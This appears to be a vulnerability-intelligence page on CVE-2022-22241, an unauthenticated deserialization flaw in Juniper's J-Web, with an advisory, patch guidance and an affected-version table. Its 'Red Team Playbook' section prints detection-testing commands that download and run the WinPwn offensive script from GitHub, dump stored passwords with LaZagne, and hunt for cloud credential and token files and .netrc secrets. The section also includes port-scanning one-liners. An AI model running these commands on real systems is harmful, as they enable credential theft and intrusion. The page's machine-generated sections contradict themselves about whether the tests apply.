CVE-2022-22241
Overview
This vulnerability is an improper input validation flaw in the J-Web component of Juniper Networks Junos OS. The root cause lies in insecure deserialization triggered by crafted POST requests that bypass input validation controls. The affected component is the web management interface, which processes user-supplied serialized data without adequate verification, leading to unsafe object deserialization.
Vulnerability Description
An Improper Input Validation vulnerability in the J-Web component of Juniper Networks Junos OS may allow an unauthenticated attacker to access data without proper authorization. Utilizing a crafted POST request, deserialization may occur which could lead to unauthorized local file access or the ability to execute arbitrary commands. This issue affects Juniper Networks Junos OS: all versions prior to 19.1R3-S9; 19.2 versions prior to 19.2R3-S6; 19.3 versions prior to 19.3R3-S7; 19.4 versions prior to 19.4R2-S7, 19.4R3-S9; 20.1 versions prior to 20.1R3-S5; 20.2 versions prior to 20.2R3-S5; 20.3 versions prior to 20.3R3-S5; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3-S2; 21.2 versions prior to 21.2R3-S1; 21.3 versions prior to 21.3R2-S2, 21.3R3; 21.4 versions prior to 21.4R1-S2, 21.4R2-S1, 21.4R3; 22.1 versions prior to 22.1R1-S1, 22.1R2.
Impact
An unauthenticated attacker with network access to the J-Web interface can exploit this vulnerability to execute arbitrary commands or access sensitive local files on the device. This can lead to complete compromise of the affected system, including unauthorized data disclosure and potential disruption of network services. The attack requires no user interaction and leverages network-level access, consistent with the CVSS vector AV:N/AC:H/PR:N/UI:N.
Solution
Juniper Networks has released patches addressing this vulnerability in multiple Junos OS versions. Users should upgrade to versions 19.1R3-S9, 19.2R3-S6, 19.3R3-S7, 19.4R2-S7 or later, as specified in advisory JSA69899 (https://kb.juniper.net/JSA69899). The advisory provides detailed patch instructions and version-specific fixes. Applying these updates is the recommended mitigation to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the J-Web component of Juniper Networks' Junos OS stems from improper input validation, which allows unauthenticated attackers to exploit the system through crafted POST requests. This flaw can lead to deserialization issues, enabling unauthorized access to local files and potentially executing arbitrary commands on the affected devices. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating that it poses a significant risk to the integrity and confidentiality of systems running vulnerable versions of the operating system. The affected versions span a wide range, including all versions prior to 19.1R3-S9 and various releases up to 22.1R1-S2, making it critical for organizations using Junos OS to assess their current deployments.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can initiate an exploit. By sending specially crafted POST requests, an attacker can manipulate the input validation mechanisms of the J-Web interface. This exploitation could allow the attacker to gain unauthorized access to sensitive data or execute commands that could compromise the entire system. Scenarios may include accessing configuration files, extracting sensitive information, or even altering system settings to facilitate further attacks. The potential for remote exploitation without authentication makes this vulnerability especially dangerous, as it lowers the barrier for attackers to gain a foothold in the network.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on Juniper Networks' products for critical infrastructure. Unauthorized access to network devices can lead to data breaches, loss of sensitive information, and operational disruptions. Furthermore, the ability to execute arbitrary commands could enable attackers to deploy malware, establish backdoors, or pivot to other systems within the network. The business risks associated with such incidents include financial losses, reputational damage, and regulatory penalties, especially for industries subject to strict compliance requirements. Organizations must recognize that the implications of this vulnerability extend beyond technical concerns, affecting overall business continuity and trust.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating Junos OS to the latest patched versions is essential to close the security gaps associated with this flaw. Network monitoring tools can be employed to detect unusual POST requests or other anomalous behavior indicative of exploitation attempts. Additionally, employing web application firewalls (WAFs) can provide an additional layer of security by filtering and monitoring HTTP traffic to the J-Web interface. Conducting vulnerability assessments and penetration testing can further help identify weaknesses in the system and validate the effectiveness of mitigation strategies. By adopting a proactive security posture, organizations can significantly reduce their exposure to this and similar vulnerabilities.
In conclusion, the improper input validation vulnerability in the J-Web component of Juniper Networks' Junos OS presents a critical security risk that organizations must address promptly. The potential for unauthorized access and command execution highlights the importance of maintaining up-to-date systems and employing robust security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against this vulnerability and safeguard their networks against potential threats.
Affected Products (161)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Juniper | Junos | All |
cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:-:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s4:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s5:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r1-s6:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r2-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r2-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r2-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s4:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s5:*:*:*:*:*:*
|
|
|
Juniper | Junos | 19.1 |
cpe:2.3:o:juniper:junos:19.1:r3-s6:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
57%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22241 |
| kb.juniper.net |
GitHub CVE
|
https://kb.juniper.net/JSA69899 |